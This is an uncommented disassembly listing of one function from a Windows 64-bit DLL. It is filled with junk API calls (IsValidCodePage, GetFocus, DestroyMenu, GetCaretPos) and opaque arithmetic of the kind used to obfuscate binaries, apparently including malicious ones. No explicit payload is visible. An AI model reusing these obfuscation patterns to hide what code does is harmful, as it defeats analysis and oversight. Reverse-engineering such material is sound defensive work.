mov esi, dword [rbp - 0x80]
mov eax, dword [rsp + 0x7c]
add eax, 0x229
cmp eax, 0x2d8
je 0x18001f17a
movzx ecx, word [0x180067654]
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov r8, qword [0x180067678]
xor edx, edx
xor ecx, ecx
call fcn.180031dcc
mov r12, qword [rbp - 0x48]
xor r14d, r14d
mov byte [0x1800675fe], al
mov al, byte [0x1800675fe]
test al, al
js 0x18001e57c
mov ecx, r12d
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov r13, qword [rbp - 0x18]
mov ecx, r14d
mov eax, eax
mov r8d, r14d
mov qword [0x180067658], rax
mov edx, r14d
mov eax, 0x3d88
cmp ax, word [0x180067654]
mov rax, qword [rbp - 0x50]
setbe cl
cmp rax, rcx
mov rcx, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
setne r8b
cmp rax, rcx
mov eax, dword [str.hZn0]
setae dl
sub edx, eax
cmp edx, r8d
jg 0x18001e5a8
mov eax, dword [0x180067630]
sub eax, 0x43ca4f12
mov dword [rsp + 0x78], eax
mov ecx, dword [rsp + 0x70]
test ecx, ecx
movzx edx, byte [0x1800675be]
movzx eax, byte [0x180067620]
cmovne edx, eax
mov byte [0x18006762a], dl
jmp 0x18001e5a8
mov al, byte [rsp + 0x6c]
mov r13, qword [rbp - 0x18]
test al, al
je 0x18001e597
movzx eax, r13b
imul ecx, eax, 0x39
add byte [0x180067583], cl
jmp 0x18001e5a8
movzx eax, word [rsp + 0x68]
mov eax, dword [0x1800675f0]
test eax, eax
cmove rdi, r12
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x64], eax
movsx ecx, word [rsp + 0x5c]
not ecx
test ecx, ecx
jne 0x18001e5cc
cmp word [0x18006763c], r14w
jne 0x18001e5cc
mov r9d, r14d
jmp 0x18001e5d2
mov r9d, 1
movzx edx, byte [rsp + 0x58]
mov r8d, r14d
mov rax, qword [rbp - 0x60]
sub rdx, rax
movzx ebx, si
mov eax, dword [0x1800675f0]
mov ecx, ebx
cmp rax, rdx
movzx eax, word [0x180067628]
setae r8b
sub ecx, eax
sub ecx, r9d
cmp ecx, r8d
jg 0x18001e710
mov eax, dword [0x180067630]
mov rax, qword [rbp - 0x50]
movzx eax, byte [rsp + 0x58]
add eax, 0x75ab6cbf
mov dword [0x180067618], eax
mov r14, qword [rbp - 0x40]
mov eax, dword [rsp + 0x64]
mov edx, 0xbd
add eax, 0x4c3
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x64]
add eax, 0x48d
lea ecx, [rdx - 0xc]
mov dword [rsp + 0x7c], eax
call fcn.180031bbc
xor r8d, r8d
mov eax, eax
mov qword [0x180067600], rax
mov edx, r8d
mov rax, qword [0x180067600]
mov ecx, r8d
cmp rax, 0x50
mov rax, qword [0x180067600]
setl dl
test rax, rax
sets cl
cmp ecx, edx
ja 0x18001e6b6
cmp qword [0x180067658], r8
movzx eax, byte [0x1800675be]
sete dl
imul ecx, eax, 0xd4
movzx eax, r15b
xor dl, cl
movzx ecx, byte [0x1800675d8]
imul ecx, eax
mov eax, dword [rsp + 0x70]
xor al, r13b
xor al, cl
add al, dl
mov byte [0x1800675bf], al
mov eax, dword [rsp + 0x64]
add eax, 0x3cc
mov dword [rsp + 0x7c], eax
mov eax, 2
mov byte [0x180067583], al
mov rax, qword [0x180067678]
movzx ecx, byte [0x180067583]
mov dword [0x180067618], eax
test ecx, ecx
je 0x18001e753
sub ecx, 1
je 0x18001e740
cmp ecx, 1
jne 0x18001e77d
mov eax, dword [0x180067634]
test eax, eax
mov rax, qword [0x1800675e8]
jne 0x18001e70a
movsxd rax, dword [rsp + 0x70]
mov qword [rbp - 0x60], rax
jmp 0x18001e77d
cmp byte [0x1800675be], r14b
je 0x18001e622
movsx rax, word [0x180c46ca8]
mov r14, qword [rbp - 0x40]
mov qword [rbp - 0x60], rax
movzx eax, r14b
imul ecx, eax, 0xa1
mov byte [rsp + 0x6c], cl
jmp 0x18001e626
mov eax, dword [0x180067668]
add eax, 0xffffff36
mov dword [str.hZn0], eax
jmp 0x18001e77d
movsx eax, byte [0x1800675f8]
not eax
sub eax, dword [0x180067608]
not eax
mov qword [rbp - 0x60], rax
mov rcx, qword [0x180067620]
movzx eax, r15b
add rcx, rax
mov qword [0x180067620], rcx
movzx ecx, word [0x18006763c]
mov edx, r8d
mov eax, dword [0x18006759c]
cmp eax, ecx
mov eax, dword [0x18006759c]
mov ecx, r8d
setae dl
cmp eax, 0x5e
setae cl
cmp edx, ecx
jb 0x18001e7d2
movups xmm0, xmmword [str.application_json]
mov al, byte [0x18004bc70]
lea rcx, [rbp + 0x120]
mov byte [rbp + 0x130], al
movups xmmword [rbp + 0x120], xmm0
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movzx r13d, ax
jmp 0x18001e7fd
mov rax, qword [0x180067678]
test r12, r12
je 0x18001e7e6
mov eax, dword [0x18006761c]
jmp 0x18001e7ec
mov eax, dword [0x180067650]
mov byte [rsp + 0x6c], al
mov eax, dword [0x180067634]
mov qword [0x1800675d8], rax
mov edx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
imul edx, eax
xor ecx, 0x4c
mov eax, 0x16b1bb
or ecx, edx
sub eax, ecx
mov dword [rbp - 0x28], eax
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x64], eax
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov ecx, dword [rsp + 0x64]
xor edx, edx
add ecx, 0xec67
mov esi, eax
mov dword [rsp + 0x7c], ecx
mov rcx, qword [rbp - 0x30]
add ecx, 0xedfe
mov word [0x180067584], dx
mov dword [rsp + 0x70], ecx
movzx ecx, word [0x180067584]
test cx, cx
jne 0x18001e89c
movzx ecx, byte [0x180067583]
sub ecx, 0xf55b
mov dword [0x18006760c], ecx
movsx eax, word [rsp + 0x5c]
sub ebx, eax
mov eax, dword [rsp + 0x78]
movsxd rdx, ebx
not eax
xor ebx, ebx
movsxd rcx, eax
or rcx, qword [0x1800675e8]
mov edi, ebx
cmp rcx, rdx
sete dil
jmp 0x18001e89e
xor ebx, ebx
mov eax, dword [rsp + 0x64]
add eax, 0xdbc4
mov dword [rsp + 0x7c], eax
movzx eax, word [rsp + 0x68]
test ax, ax
je 0x18001e8c3
mov eax, dword [rsp + 0x70]
and al, 0xe6
mov byte [0x1800675f9], al
jmp 0x18001e905
mov eax, dword [0x180067664]
not eax
test eax, eax
je 0x18001e905
mov ecx, dword [rsp + 0x78]
mov r8d, ebx
movzx eax, r15b
sub ecx, eax
mov eax, dword [rsp + 0x78]
add eax, ecx
mov dword [rsp + 0x78], eax
mov edx, dword [rsp + 0x74]
test edx, edx
movsx eax, word [rsp + 0x5c]
cmove r8d, eax
movzx eax, byte [0x1800675fa]
sub eax, r8d
cdqe
mov qword [rbp - 0x70], rax
mov eax, dword [rsp + 0x64]
xor r8d, r8d
mov r9d, dword [0x1800675f4]
add eax, 0x3c7
mov dword [rbp + 8], eax
mov edx, 0xe1
mov qword [0x180067610], 0x8b
lea ecx, [r8 + 1]
call fcn.180031a60
mov dword [str.hZn0], eax
mov edx, ebx
mov eax, dword [str.hZn0]
mov ecx, ebx
cmp eax, 0x55
mov eax, dword [str.hZn0]
setge dl
test eax, eax
setns cl
cmp ecx, edx
je 0x18001e9ad
mov al, byte [0x1800675f9]
test al, al
je 0x18001e97b
mov eax, dword [rsp + 0x74]
mov r15, qword [rbp + 0x10]
sar r15d, 1
sub ax, 0xf
mov word [0x18006756c], ax
jmp 0x18001e9b1
movzx ecx, word [rsp + 0x54]
mov edx, ebx
movzx eax, word [rsp + 0x54]
mov r15d, dword [rbp - 0x80]
cmp cx, ax
movzx eax, byte [rsp + 0x6c]
sete dl
cmp eax, edx
jne 0x18001e9b1
movzx ecx, word [rsp + 0x54]
mov eax, dword [rsp + 0x70]
sub cx, ax
mov word [rsp + 0x54], cx
jmp 0x18001e9b1
mov r15d, dword [rbp - 0x80]
mov eax, dword [rsp + 0x7c]
mov edx, 1
imul ecx, eax, 0x70
or ecx, 0x9d2f
xor ecx, 0x60b8b5
mov dword [rbp + 8], ecx
movzx eax, word [rsp + 0x54]
test ax, ax
je 0x18001ea09
movzx ecx, word [rsp + 0x68]
mov rax, qword [rbp - 0x70]
cmp rax, rcx
jle 0x18001e9fb
mov rax, qword [rbp - 0x78]
movzx ecx, si
xor rcx, rax
mov rax, qword [rbp - 0x78]
sub rax, rcx
mov qword [rbp - 0x78], rax
jmp 0x18001ea09
mov eax, dword [0x180067634]
add eax, edx
mov dword [0x180067634], eax
mov eax, dword [0x180bd5d30]
movzx ebx, si
mov dword [rsp + 0x64], eax
cmp ebx, dword [rbp - 0x30]
jge 0x18001ea35
mov rax, qword [0x180067620]
test rax, rax
je 0x18001ea35
movsxd rcx, dword [0x180067650]
add rcx, rdx
imul rdi, rcx
mov eax, dword [rsp + 0x64]
add eax, 0x4684
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x64]
add eax, 0x1bb3
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x64]
add eax, 0x3f0
mov dword [rbp - 0x10], eax
call qword [sym.imp.USER32.dll_GetFocus]
test rax, rax
je 0x18001ea78
mov rcx, rax
call qword [sym.imp.USER32.dll_GetMenu]
mov rcx, rax
call qword [sym.imp.USER32.dll_DestroyMenu]
cmp qword [0x1800675e8], 0x50
jae 0x18001ea9f
mov eax, dword [rsp + 0x74]
test eax, eax
je 0x18001ea91
movzx eax, word [rsp + 0x54]
jmp 0x18001ea98
movzx eax, byte [0x1800675fa]
mov qword [0x1800675e8], rax
mov byte [0x18006756f], 0x48
mov rdx, qword [rbp - 0x50]
movsx rax, byte [0x18006756f]
inc rdx
cmp rax, rdx
jne 0x18001eb6b
movzx ecx, word [0x180067584]
mov eax, dword [rsp + 0x78]
cmp eax, ecx
je 0x18001eb3d
cmp qword [0x180067648], r14
ja 0x18001eae6
movzx eax, word [0x180067628]
imul rax, r12
test rax, rax
jne 0x18001eb4f
mov eax, dword [0x180067634]
mov ecx, ebx
sub ecx, eax
mov eax, dword [0x180067634]
add eax, ecx
mov dword [0x180067634], eax
movzx edx, byte [0x180067586]
movsx eax, word [rsp + 0x5c]
mov r8, qword [rbp - 0x78]
add eax, edx
movzx ecx, word [0x1800675fc]
mov rdx, qword [0x180067640]
sub rcx, r14
cdqe
inc rdx
xor r8, rax
movsx rax, r13w
add rax, rcx
add rax, rdx
imul rax, r8
mov qword [rbp - 0x78], rax
jmp 0x18001eb4f
movsx eax, byte [0x1800675f8]
sub ax, 0x5a
mov word [0x180067638], ax
mov eax, 1
cmp byte [0x1800675ff], al
jne 0x18001eb6b
movzx eax, word [0x180067654]
add eax, eax
mov dword [str.hZn0], eax
mov byte [0x18006756f], 0x48
xor r14d, r14d
movzx eax, word [rsp + 0x5c]
test ax, ax
je 0x18001eb88
movzx edx, word [0x180067670]
jmp 0x18001eb8e
mov dl, byte [0x1800675f8]
movzx eax, dl
cmp dword [0x180067674], eax
jae 0x18001ebad
mov al, byte [0x18006756f]
mov al, byte [rsp + 0x58]
add al, 0x1d
mov byte [0x18006762a], al
jmp 0x18001ebdd
movsx ecx, byte [rsp + 0x50]
movsx eax, byte [0x1800675be]
not ecx
cmp eax, ecx
je 0x18001ebdd
mov rcx, qword [rbp - 0x70]
mov eax, dword [rsp + 0x70]
xor rcx, qword [0x1800675d8]
sub ax, cx
mov word [rsp + 0x5c], ax
movzx eax, dl
mov qword [rbp - 0x78], rax
mov edx, dword [rsp + 0x60]
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
imul edx, eax
mov eax, dword [rsp + 0x7c]
imul ecx, eax
add ecx, edx
xor ecx, 0xaa07c91
mov dword [rsp + 0x7c], ecx
mov ecx, r14d
movsx eax, word [rsp + 0x5c]
sub ebx, eax
movzx eax, word [rsp + 0x5c]
add ax, bx
mov word [rsp + 0x5c], ax
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x64], eax
movsx eax, word [0x180067670]
mov edx, dword [rsp + 0x74]
add edx, eax
mov eax, dword [rsp + 0x74]
add eax, edx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x64]
add eax, 0x9474
mov dword [rbp - 0x10], eax
mov dword [0x180067660], 0x98f4498a
movsx eax, byte [rsp + 0x50]
mov edx, dword [0x180067630]
imul edx, eax
movzx eax, word [rsp + 0x54]
mov r8d, dword [rsp + 0x74]
and r8d, eax
movzx eax, word [rsp + 0x68]
sub r8d, edx
test ax, ax
not r8d
sete cl
sub r8d, ecx
mov dword [rsp + 0x74], r8d
mov eax, dword [rsp + 0x64]
add eax, 0x421
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetCursor]
test rax, rax
je 0x18001eca1
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetCaretPos]
mov ebx, 2
test r13w, r13w
js 0x18001ed65
mov rax, qword [0x1800675e0]
add dword [0x180067674], eax
mov byte [0x1800675fb], bl
movzx ecx, byte [0x1800675fb]
test ecx, ecx
je 0x18001ed1a
sub ecx, 1
je 0x18001ecf6
cmp ecx, 1
jne 0x18001ed75
mov ecx, dword [0x180067630]
mov rax, qword [rbp - 0x50]
sub rcx, rax
mov rax, qword [rbp - 0x50]
add rax, rcx
mov qword [rbp - 0x50], rax
jmp 0x18001ed75
movzx eax, r15w
and eax, 0xee9cc9
mov qword [0x180067620], rax
movzx eax, word [rsp + 0x5c]
not al
add al, 0x14
add al, dil
mov byte [0x180067583], al
jmp 0x18001ed75
movsxd rax, dword [rsp + 0x78]
movsxd r8, dword [rsp + 0x78]
xor r8, qword [0x180067648]
mov ecx, dword [rsp + 0x74]
movzx edx, byte [0x1800675fb]
and rdx, rax
movsx eax, byte [0x1800675ff]
imul ecx, eax
mov eax, dword [rsp + 0x70]
imul r8, rdx
mov edx, 0x76
sub edx, eax
neg edx
sbb eax, eax
add eax, ebx
add eax, ecx
and eax, r8d
mov dword [0x1800675f0], eax
jmp 0x18001ed75
movzx eax, byte [0x1800675bf]
and ax, 0xfff4
mov word [rsp + 0x5c], ax
mov eax, dword [rsp + 0x64]
mov edx, 0xde
movzx r8d, byte [0x1800675fb]
add eax, 0x5914
movsx rcx, word [0x180067638]
mov dword [rbp - 0x10], eax
call fcn.180031dcc
mov ecx, 0x29
mov word [0x180067638], ax
cmp ax, cx
mov edx, r14d
mov ecx, r14d
setg dl
test ax, ax
setg cl
cmp ecx, edx
jae 0x18001ee26
mov rax, qword [0x180067678]
mov ecx, r14d
test rax, rax
mov eax, dword [rsp + 0x70]
sete cl
add eax, ecx
not eax
test eax, eax
je 0x18001eded
movzx eax, word [0x180067654]
sub eax, 0x24ba
mov dword [0x180067664], eax
jmp 0x18001ee26
test r15w, r15w
jne 0x18001edfb
mov al, byte [0x1800675f9]
jmp 0x18001ee26
cmp dword [0x1800675cc], r14d
jne 0x18001ee0d
cmp byte [0x18006756e], r14b
je 0x18001ee26
movsx eax, byte [rsp + 0x50]
movsx edx, byte [0x1800675ff]
imul edx, eax
mov al, byte [rsp + 0x50]
sub al, dl
mov byte [rsp + 0x50], al
mov r9d, dword [0x1800675e8]
xor edx, edx
xor r8d, r8d
lea ecx, [rdx + 0x57]
call fcn.180031380
mov byte [0x1800675fb], al
test al, al
je 0x18001ee58
mov edx, dword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
add edx, eax
mov eax, dword [rsp + 0x70]
or eax, edx
mov dword [rsp + 0x70], eax
mov edx, dword [rsp + 0x60]
mov ecx, 0x78e7
mov eax, dword [rsp + 0x60]
add edx, eax
mov eax, dword [rsp + 0x60]
sub ecx, eax
xor ecx, edx
mov eax, 0x7d32
sub eax, ecx
cmp qword [rbp + 0x28], 0xffffffffffffffff
mov dword [rbp - 0x10], eax
je 0x18001f17a
movsx r9, byte [0x1800675f8]
xor ecx, ecx
movzx edx, word [0x180067628]
mov r8, qword [0x180067600]
mov qword [rsp + 0x20], 0xca
call fcn.180031504
mov qword [0x1800675d8], rax
test rax, rax
je 0x18001ef49
mov dl, 0x21
xor ecx, ecx
call fcn.180031edc
movzx edi, al
test al, al
je 0x18001ef22
mov eax, dword [0x18006760c]
test eax, eax
je 0x18001ef16
mov edx, dword [rsp + 0x74]
mov eax, r14d
mov rcx, qword [0x180067620]
sub edx, dword [0x180067608]
test r15w, r15w
sete al
sub ecx, eax
movsxd rax, dword [0x180067664]
sub ecx, edx
mov dword [0x180067634], ecx
movabs rcx, 0xd7a9b8a593253
sub rax, rcx
mov qword [0x1800675d8], rax
jmp 0x18001ef93
mov eax, dword [0x180bd5d30]
mov qword [rbp - 0x78], rax
jmp 0x18001ef93
movzx eax, word [rsp + 0x5c]
mov cl, byte [0x1800675fa]
add cl, cl
add al, cl
mov byte [0x1800675fa], al
movzx eax, si
add rax, 0x63e9240c
mov qword [0x180067640], rax
jmp 0x18001ef93
test r13w, r13w
je 0x18001ef6b
cmp dword [0x180067664], r14d
mov rax, rdi
jne 0x18001ef62
movzx eax, byte [0x180067586]
mov qword [0x1800675e8], rax
jmp 0x18001ef93
mov rax, qword [rbp - 0x78]
test rax, rax
je 0x18001ef93
mov rax, qword [rbp - 0x60]
mov rcx, qword [0x180067610]
and cl, al
cmp dword [0x180067674], r14d
sete al
add al, cl
mov byte [0x180067583], al
mov eax, dword [0x180bd5d30]
mov edx, 0x2f
mov dword [rsp + 0x64], eax
xor ecx, ecx
mov r8d, dword [rsp + 0x70]
call fcn.180031098
mov dword [0x180067650], eax
mov edx, r14d
mov eax, dword [0x180067650]
mov ecx, r14d
cmp eax, 0x1c
mov eax, dword [0x180067650]
setle dl
test eax, eax
setle cl
cmp ecx, edx
jne 0x18001f006
mov rax, qword [0x1800675d0]
mov ecx, 0xc6064ee3
and rax, rcx
mov qword [0x180067678], rax
mov rax, qword [0x1800675d8]
lea rcx, [rax + rax]
mov rax, qword [rbp - 0x50]
sub rcx, rax
mov qword [0x1800675d8], rcx
jmp 0x18001f028
mov eax, dword [rsp + 0x70]
test eax, eax
je 0x18001f028
mov eax, 0xffffdfaa
mov word [0x180067670], ax
mov al, byte [0x180067608]
add al, 0x26
mov byte [0x1800675be], al
mov ecx, dword [rbp - 0x28]
mov eax, dword [rsp + 0x64]
add ecx, eax
mov eax, dword [0x180bd5d30]
mov dword [rbp - 0x28], ecx
mov word [rsp + 0x5c], bx
mov dword [0x1800675cc], eax
movsx eax, word [rsp + 0x5c]
test eax, eax
je 0x18001f059
cmp eax, 1
jne 0x18001f065
mov qword [rbp - 0x60], rbx
jmp 0x18001f065
mov eax, dword [0x180067668]
mov dword [0x180ecec9c], eax
mov ecx, dword [rbp + 8]
mov eax, dword [rsp + 0x64]
add ecx, eax
mov dword [rbp - 0x28], ecx
mov ecx, dword [rsp + 0x64]
mov eax, dword [rsp + 0x7c]
add ecx, eax
mov dword [rsp + 0x7c], ecx
mov ecx, dword [rsp + 0x74]
movzx eax, byte [0x1800675bf]
add ecx, 0xffffffb5
mov byte [0x18006756e], 0xb5
cmp eax, ecx
jne 0x18001f0c5
movzx ecx, word [0x18006763c]
mov eax, 0xb4e4
imul ecx, eax
and word [0x180067654], cx
mov rcx, qword [rbp - 0x78]
movzx eax, word [0x180067654]
add rcx, 0xcf
cmp rax, rcx
je 0x18001f07f
mov ecx, dword [rsp + 0x7c]
mov eax, dword [rbp - 0x10]
or ecx, eax
mov eax, dword [rbp - 0x28]
cmp ecx, eax
je 0x18001f17a
mov rdx, qword [rbp + 0x78]
mov ecx, 0x393d
mov dword [rsp + 0x70], r14d
xor r9d, r9d
mov rax, qword [rbp - 0x78]
xor r8d, r8d
add eax, 0x8ed0
mov qword [rsp + 0x40], r14
mov dword [0x18006761c], eax
mov eax, dword [0x180067648]
mov dword [0x18006760c], eax
mov eax, dword [rsp + 0x70]
mov eax, dword [str.hZn0]
movzx eax, word [rsp + 0x54]
movzx eax, word [rsp + 0x54]
mov qword [rsp + 0x38], r14
sub ax, cx
mov qword [rsp + 0x30], r14
lea rcx, [fcn.1800422d8]
mov qword [rsp + 0x28], r14
mov word [0x1800675fc], ax
mov qword [rsp + 0x20], r14
call fcn.18001abb0
mov rdx, qword [rbp + 0x20]
lea rcx, [fcn.1800422d8]
mov qword [rsp + 0x40], r14
xor r9d, r9d
mov qword [rsp + 0x38], r14
xor r8d, r8d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call fcn.18001abb0
mov rcx, qword [rbp - 0x78]
movzx ecx, byte [0x180067583]
mov eax, dword [rbp - 0x58]
xor ecx, edi
mov dword [0x180067608], ecx
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.18003f550
mov rbx, qword [rsp + 0x638]
add rsp, 0x5e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret